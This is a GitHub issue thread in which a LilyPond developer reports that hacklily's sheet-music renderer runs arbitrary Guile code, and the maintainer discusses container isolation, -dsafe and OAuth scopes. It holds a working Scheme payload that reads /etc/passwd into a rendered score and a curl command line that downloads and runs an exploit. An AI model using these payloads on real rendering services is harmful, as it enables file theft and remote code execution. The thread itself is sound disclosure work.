jocelyn-stericker / hacklily

A web-based sheet music editor and publishing platform.
https://www.hacklily.org
GNU General Public License v3.0
336 stars 28 forks source link

security issue #5

Closed hanwen closed 5 years ago

hanwen commented 6 years ago

you should reconsider how you are using lilypond. The following will dump /etc/passwd into a piece of sheet music.

\header { title = "Untitled" composer = "Composer" }

(define s "")

(let*

(
 (f (open-input-file "/etc/passwd"))
 (cs '())
 (c (read-char f))
 (n 0)
 )

(while (and (not (eof-object? c)) ( < n 50)) (set! cs (cons c cs)) (set! n (+ 1 n)) (set! c (read-char f))) (set! s (list->string (reverse cs))) )

\score { \relative c' { g4^#s }

\layout {} \midi {} }

jocelyn-stericker commented 6 years ago

Hi @hanwen, thank you for taking the time to post this.

Being able to read /etc/passwd, or do anything else a normal user would do, from inside the lilypond renderer docker container is unfortunate but expected. You are also likely able to mine cryptocurrency for several seconds, or to break a given renderer docker container until it is restarted. So far, I haven't found a good way of better locking down lilypond itself (-dsafe and -jail both have negative consequences) -- let me know if you have other ideas.

If you are able to make network connections or access anything outside the docker container, that would be cause for concern.

jocelyn-stericker commented 6 years ago

Oh, thank you for all your work on LilyPond, by the way!

hanwen commented 6 years ago

containers are not a security mechanism. All the syscalls are available, which is a gigantic, poorly secured API surface. eg.

https://www.twistlock.com/2017/12/27/escaping-docker-container-using-waitid-cve-2017-5123/ https://blog.paranoidsoftware.com/dirty-cow-cve-2016-5195-docker-container-escape/

in this case, attackers don't have to futz with buffer overflow or heap spraying. They can just do:

(system "curl -o x http://../exploit && chmod +x x && x")

jocelyn-stericker commented 6 years ago

in this case, attackers don't have to futz with buffer overflow or heap spraying. They can just do:

(system "curl -o x http://../exploit && chmod +x x && x")

Network access should be blocked by starting Docker with --net=none (try, for example #(system "ping 8.8.8.8")), however that doesn't address your concerns with using Docker as a jail.

Containers are becoming more secure. While I'm sure there will continue to be CVEs that affect Docker, I do not believe that this poses a large risk to hacklily. My understanding is that repl.it, for example, also uses docker for this kind of thing, and is a much bigger target. I'd be more concerned with people messing with the sandbox itself, which is a legitimate issue that I don't have a solution for.

I don't mean to sound dismissive — if you have actionable suggestions on how to improve the security of Hacklily, I would be interested. I'm sure it's possible.

jocelyn-stericker commented 6 years ago

If you do have a concrete POC, please email it to me at joshua@nettek.ca so I can try to address it first.

hanwen commented 6 years ago

I realize you think your site might not be interesting enough, but consider what login does:

"Authorize Hacklily @hanwenHacklily by hacklily wants to access your hanwen account Repositories Public and private This application will be able to read and write all public and private repository data. This includes the following: Code Issues Pull requests Wikis Settings Webhooks and services Deploy keys Collaboration invites"

ie. if I were to use your site, any exploit of your site can be escalated to exfiltrating my private code and inserting exploits into any of my code.

at a minimum, you should use safe evaluation to avoid the obvious ways in which you can execute arbitrary code.

jocelyn-stericker commented 6 years ago

ie. if I were to use your site, any exploit of your site can be escalated to exfiltrating my private code and inserting exploits into any of my code.

Hacklily uses DOMPurify on the client to sanitize the output of the server, which should address scripting concerns.

You have a good point about the permissions. I've created https://github.com/hacklily/hacklily/issues/6 and will see about reducing them.

at a minimum, you should use safe evaluation to avoid the obvious ways in which you can execute arbitrary code.

Are you referring to -dsafe?

hanwen commented 6 years ago

Isn't the client code served from your server too? If the server is exploited all bets are off, and it might serve a booby-trapped client.

yes, I'm referring to -dsafe.

jocelyn-stericker commented 6 years ago

Isn't the client code served from your server too? If the server is exploited all bets are off, and it might serve a booby-trapped client.

No. The client code is served statically from https://www.hacklily.org. The renderer lives at https://hacklily-render.nettek.ca , on a separate machine.

yes, I'm referring to -dsafe.

I'm going to explore this.

The risk that concerns me and that I am going to try to prevent here is users, within the container, messing with the appearance of subsequent renders. I do not see evidence that within the container, users without state-level resources or 0-days are able to execute JavaScript on the client, access the network, gain root privileges, or escape the sandbox. While not true 2 years ago, it is now common practice to use docker, in certain configurations, as a jail. It's up to you to prove me wrong on those assumptions.

While many songs require inline Guile and imports, which aren't supported by -dsafe, the majority of songs rendered on Hacklily don't. It would be nice to use -dsafe where possible and render unsafe code in a container that is not reused. I'm going to explore what would be involved there and decide whether to move forward with that.

Let me know what you think. I appreciate your time on this issue.

jocelyn-stericker commented 6 years ago

Some research:

jocelyn-stericker commented 6 years ago

edit: I found what I think might be a pretty major security flaw with -dsafe, which I'll post here later.

I'm not feeling like the -dsafe path is going to be fruitful.

jocelyn-stericker commented 5 years ago

Closing due to no actionable next steps.